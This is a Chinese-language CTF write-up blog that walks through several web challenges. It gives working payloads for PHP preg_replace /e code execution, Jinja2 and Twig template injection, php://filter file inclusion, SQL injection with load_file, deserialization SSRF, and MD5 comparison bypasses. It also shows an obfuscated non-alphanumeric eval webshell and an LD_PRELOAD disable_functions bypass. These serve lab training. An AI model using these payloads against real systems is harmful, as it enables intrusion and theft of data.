题目讲解2

目录

ics-05 ics-06

06

05

PHP preg_replace() 函数

 Web_python_template_injection

file_include

fakebook

Easy MD5

RCE ME

[BJDCTF2020]Cookie is so stable


ics-05 ics-06

06

观察页面,找到漏洞点

爆破

2333

05

同样,先观察页面,找到漏洞点

 多了个page参数,随便试试,看能否下载或者显示文件内容不,直接看不能

我们试试php伪协议

page=php://filter/read=convert.base64-encode/resource=index.php

得到了内容,解码看看

关键部分

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

审计一下代码

要把自己的ip设置成127.0.0.1(可以直接在网页里将http头的X-Forwarded-For改为127.0.0.1)
还要给pat,rep,sub三个变量传值


PHP preg_replace() 函数

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数

显然还是无法解题,这个时候就要了解 preg_replace()*函数存在一个安全问题 :/e 修正符使 preg_replace()函数将replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

比如我们本题构造?pat=/123/e&rep=phpinfo()&sub=123 就会触发phpinfo()的执行(此时的ip是127.0.0.1)

同样的道理,我们把phpinfo()改成其他的php代码就行了(都要用127.0.0.1这个ip)

?pat=/123/e&rep=system("ls")&sub=123

?pat=/123/e&rep=system("cd s3chahahaDir;ls -la")&sub=123

同理,继续
?pat=/123/e&rep=system("cd s3chahahaDir/flag;ls -la")&sub=123

?pat=/123/e&rep=system("cat s3chahahaDir/flag/flag.php")&sub=123

 Web_python_template_injection

ssti

{{[].__class__.__base__.__subclasses__()}}

这里我们用<class ‘site._Printer’>类型  可以进行命令执行

<type 'file'>类型    可以进行文件读取

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

读取

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

file_include

看上去是一个简单的文件包含

那就试试:?filename=php://filter/convert.base64-encode/resource=flag.php

发现不行,常规读取不行,肯定有过滤,用下面的方法

convert.iconv过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php

?filename=php://filter/convert.iconv.utf-8.utf7/resource=flag.php

即把内容用UTF-8读取,用UTF-7输出

php://filter/convert.iconv.UTF-8*.UCS-4*/resource=flag.php

fakebook

先注册一下,blog必须存在才行,上图为我注册好后的界面
点进去发现网址:http://.../view.php?no=1
猜测有sql注入,试了试确实有,是整数型

order by 出来为4

union select 时发现被过滤了,用union/**/select绕过

?no=0 union/**/select 1,2,3,4 %23 => 发现2的位置可以注入

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()  =>users

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'  =>no,username,passwd,data

?no=0 union/**/select 1,group_concat(data),3,4 from users

看了看,只有data里的东西有用,如下:

O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";}

里面的值为我们开始注册是输入的信息,它将这些信息进行了序列化并存储在数据库中,然后当我们查询的时候再反序列化显示在前端

robots.txt文件,我们访问看看
User-agent: *
Disallow: /user.php.bak

访问/user.php.bak后,下载了如下内容的文件

 $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 通过这段代码可以知道,这个函数会读取blog,然后访问它,如果访问成功则会读取文件的信息,否则返回404,
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,
直接人为构造联合查询返回语句,data字段在第四个位置,如下:

<?php
class UserInfo{
    public $name="a";
    public $age="1";
    public $blog="file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

然后源码
点击iframe的src属性值即可获得flag

另一种方法:

在sql注入时查看当前用户
-1 union/**/select 1,user(),3,4
发现是root用户

mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径有

直接:
-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
看源码

这个路径的话,在1'时就可猜出来了

Easy MD5

一个查询框,试试sql注入,不管我们怎么输都不行

去找提示

发现在响应头里,有个hint

涉及到md5(string,true)函数 

 

 可以简单测试一下

<?php

echo md5("aaa",TRUE);
echo("\n");
echo md5("aaa");

这里我们要做的就是,假如我们转递进去的内容经过这个md5加密之后的结果为 'or'--段内容并且在or后面加的这一段内容为true,在这种条件下就可以实现那个select * from 'admin' where password=md5($pass,true)sql语句的注入

并且这里还有一个知识点就是在mysql当中只要or后面的内容为数字+字符串也就是or 1……这样之后返回的值就为true

所以我们的目的就是去寻找一个字符串,使它经过MD5加密之后的值是'or'+数字……我们这里找了一个字符串就是:ffifdyop,我们可以看一下加密之后的结果

然后我们在输入框里输入ffifdyop之后继续,会跳出以下界面

看源码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){

传入两个不一样的参数值,但是在md5加密之后又要相等

这里就有了一个新的知识:==弱比较的时候会把两边的变量类型先转换成一样的再进行比较

而我们要做的就是让他们在转换之后的值相等,这里也有一个知识点就是0e在比较的时候会被当作科学计数法

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0

所以我们所做的就是传入一个字符串,使它经过md5加密的值为0e开头,从而再转换类型的时候会被当成是0,从而相等

这里有一些字符,在加密之后为0e开头:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

所以我们这里就可以往a和b当中随便传两个上述的值就可以

?a=QNKCDZO&b=240610708

这里还有一种绕过的方法就是传入两个不同的数组变量,因为md5函数不能对数组变量进行加密,如果传进去的是数组变量,就会返回NULL,这个时候弱比较的值也是会相等的,这里要注意的是a[]和b[]的值也要是不相等的才行

?a[]=1&b[]=2

出现了新的

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里的逻辑和上面的差不多,不过这里的比较改成了前面改成弱比较,后面是强比较,前面是弱比较,我们就不能使用之前那种使它的值为0e开头的那种方法,只能通过传递数组的方式来使他们的弱比较的值不相等,使它们经过md5之后的值又相等

param1[]=1&param2[]=2

RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

 代码审计很简单
我们上传的payload中不能含有大小写字母和数字
我们可以使用 异或绕过 和 url编码取反 绕过绕过

先试试phpinfo

<?php
echo urlencode(~'phpinfo');
?>

payload:
?code=(~%8F%97%8F%96%91%99%90)();

可以访问 phpinfo 来查找被禁用的函数

disable_functions

发现基本能用的都给禁了

 不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert($_POST['a']);>,我们需要调用eval
拼接为

code=assert(eval($_POST[cmd']));
或者是
code=$_=_GET;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['ma']);

用异或的方法经php的urlencode编码后得到的payload如下

code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['ma']);
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
 ?>

?code=(~%9E%8C%8C%9A%8D%8B)

(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

用蚁剑连接

由于 disable_functions的存在我们不能说直接读取flag,需要借助readflag来读取

获取flag

在获取flag的时候我们也有两种方法 一种直接借助蚁剑中的插件进行绕过,一种是

借助蚁剑插件

LD_PRELOAD
LD_PRELOAD指定的环境变量路径的共享库文件会在其他共享库前先一步调用,通过putenv即可设置该环境变量。
于是我们可以想到,编写一个会调用共享库文件函数的php程序,然后再编写一个含有同名函数的c语言程序(包含想执行的命令),并生成.so共享库文件然后通过putenv设置成LD_PRELOAD。于是在php程序运行的时候根据链接规则会调用我们编写的同名函数,这样就达到了劫持共享so的目的。

__ attribute __ ((constructor))
编写同名函数的方法自然是可行的(如geteuid),更通用的方法则是采用__attribute__((constructor)),它会在程序刚开始运行,共享库开始加载时即触发。

执行过程

首先是编写执行的c语言程序

#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>

__attribute__((__constructor__)) void angel(){
    unsetenv("LD_PRELOAD");
    system("/readflag > /var/tmp/1.txt");
}

然后生成共享库文件1.so

gcc 1.c -fPIC -shared -o 1.so
 

编写对应php程序

<?php 
    putenv("LD_PRELOAD=/var/tmp/1.so");
    mail("","","","");
    var_dump(file_get_contents('/var/tmp/1.txt'));
?>

将php文件和so文件上传

上传到/var/tmp/下

通过include包含上传文件来加载共享库执行命令。
即想要上传的命令为

code=$_=_GET;${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/1.php');
code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/1.php');

[BJDCTF2020]Cookie is so stable

有首页,有flag页面,有hint页面

这里题目有提示,突破口是在cookie上面

那就抓包看看

在cookie加user={{7*'7'}}

返回49,表示是 Twig 模块 

 输入{{7*'7'}},返回7777777表示是 Jinja2 模块

这里注意要在PHPSESSID后user前加上;分隔开

由于是Twig注入,所以是有固定的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

同样的方法,在cookie输入即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值